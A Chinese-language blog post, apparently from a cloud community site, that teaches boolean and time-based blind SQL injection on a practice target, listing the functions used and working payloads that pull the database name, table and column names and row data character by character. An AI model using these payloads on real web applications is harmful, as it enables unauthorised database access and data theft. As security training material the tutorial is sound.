4-4 盲注

举报
Gere 发表于 2022/12/31 08:18:23 2022/12/31
【摘要】 一、盲注介绍所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。布尔盲注只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息时间盲注界面返回值只有一种,true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确二、盲注需要掌握的几个函数len...

一、盲注介绍

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

布尔盲注
只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息
时间盲注
界面返回值只有一种,true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

二、盲注需要掌握的几个函数

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);)

ascii() 返回字符的ascii码 [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

三、盲注靶场的做法

猜解当前数据库名称长度:

id=1\' and (length(database()))>9#

利用ASCII码猜解当前数据库名称:

and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s

and (ascii(substr(database(),2,1)))=101--+ 返回正常,说明数据库名称第二位是e

猜表名:

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e

猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name=\'zkaq\' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f

猜内容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z

四、延时注入(时间注入)靶场做法

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。